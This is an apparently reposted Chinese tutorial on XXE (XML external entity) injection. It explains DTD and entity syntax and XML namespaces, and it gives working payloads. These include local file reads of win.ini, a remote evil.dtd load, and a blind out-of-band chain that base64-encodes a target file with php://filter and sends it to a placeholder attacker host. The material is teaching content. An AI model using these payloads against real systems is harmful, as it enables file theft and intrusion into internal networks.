XXE(外部实体注入攻击)

Posted Amev

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE(外部实体注入攻击)相关的知识,希望对你有一定的参考价值。

XXE(XML External Entity 外部实体注入)

DTD(Document Type Definition 文档类型定义)用来为XML文档定义语义约束,可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema参考链接:http://www.w3school.com.cn/dtd/


DTD引用方式:

  1. DTD内部声明 <!DOCTYPE 根元素[元素声明]>
  2. DTD外部引用 <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URL">
  3. 引用公共DTD <!DOCTYPE 根元素名称 PUBLIC "DTD标识名""公用DTD的URL">

示例:
<?xml version="1.0"?>  
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:

以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

DTD实体声明:
内部实体声明 <!ENTITY 实体名称 "实体的值">
一个实体由三个部分构成,分别是&、实体名称、(;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入XML的,&符号会被认为是参数间的连接符号
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY xxe "Thinking">]>
3.<foo>&xxe;</foo>
外部实体声明 <!ENTITY 实体名称 SYSTEM "URL/URI">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,如下图所示:
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>
参数实体声明
1.<!ENTITY % 实体名称 "实体的值">
2.or
3.<!ENTITY % 实体名称 SYSTEM "URI">
示例:
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>
引用公共实体: <!ENTITY 实体名称 PUBLIC "Public_ID" "URL">

使用DTD的利用方式
利用XXE漏洞可以进行拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现,可以理解为使用XXE进行SSRF的利用
一般XXE的利用分为两个场景:有回显和无回显。
有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据
有回显
可使用如下两种方式进行XXE注入攻击
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>
外部evil.dtd中的内容:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
也可以进行内网站点的入侵(SSRF)

无回显
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx

1.<!DOCTYPE updateProfile [
2.<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
3.<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
4.%dtd;
5.%send;
6.]>
evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1.<!ENTITY % all
2."<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;‘>"
3. >
4.%all;
有报错则直接查看报错信息,无报错需要访问接收数据的服务器中的日志信息,可以看到经过base64编码过的数据
XXE的扩展:
XML Schema(可扩展标记语言架构),用来定义XML文档的合法构建模块,类似DTD,Schema是DTD的替代者,比DTD能做更多的事情
参考链接:
http://www.w3school.com.cn/schema/schema_intro.asp

对于xmlns,当有多个文档被一起使用时候不同文档可能带有不同内容和定义名称相同的元素,这样就会发生命名冲突,XML解释器无法确定如何处理这类冲突,而xmlns可以解决这个问题,我们为标签添加了一个 xmlns 属性,这样就为前缀赋予了一个与某个命名空间相关联的限定名称。此时再把它们放在一起,XML解析器就不会报错了。

1.<!-- 这里xmlns:abc="url"表示这个table是用abc作为标记,table的写法在url中定义 -->
2.<abc:table xmlns:abc="url">
3.  <abc:tr>
4.    <abc:td>Apples</abc:td>
5.    <abc:td>Bananas</abc:td>
6.  </abc:tr>
7.</abc:table>


语法:xmlns=”namespaceURI”表示默认的Namespace,可以不使用前缀;非默认的便需要使用前缀避免XML报错。 xmlns:namespace-prefix=”namespaceURI”,其中namespace-prefix为自定义前缀,只要在这个XML文档中保证前缀不重复即可;namespaceURI是这个前缀对应的XML Namespace的定义,如下例子中的xmlns:xsi表示使用xsi作为前缀的Namespace。

xsi:schemaLocation属性便是Namespace为http://www.w3.org/2001/XMLSchema-instance里的schemaLocation属性。xsi:schemaLocation定义了XML Namespace和对应的 XSD(Xml Schema Definition)文档的位置的关系。它的值由一个或多个URI引用对组成,两个URI之间以空白符分隔(空格和换行均可)。第一个URI是定义的 XML Namespace的值,第二个URI给出Schema文档的位置,Schema处理器将从这个位置读取Schema文档,文档的targetNamespace必须与第一个URI相匹,具体内容如下所示:

1.<?xml version="1.0"?>
2.
3.<note xmlns="http://www.runoob.com"
4.xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
5.xsi:schemaLocation="http://www.springframework.org/schema/context
6.                    http://www.springframework.org/schema/context/spring-context.xsd"
7.
8.targetNamespace="http://www.springframework.org/schema/context"
9.......
10.</note>
关于XML Schema的攻击手段,日后再进行资料查找

以上是关于XXE(外部实体注入攻击)的主要内容,如果未能解决你的问题,请参考以下文章

XML注入详解 xxe注入攻击

浅谈XML实体注入漏洞

XXE 咖面-六娃

漏洞报送WebSphere XML外部实体(XXE)注入漏洞

文库 | XML外部实体注入总结(XXE)

文库 | 探索XML外部实体注入(XXE)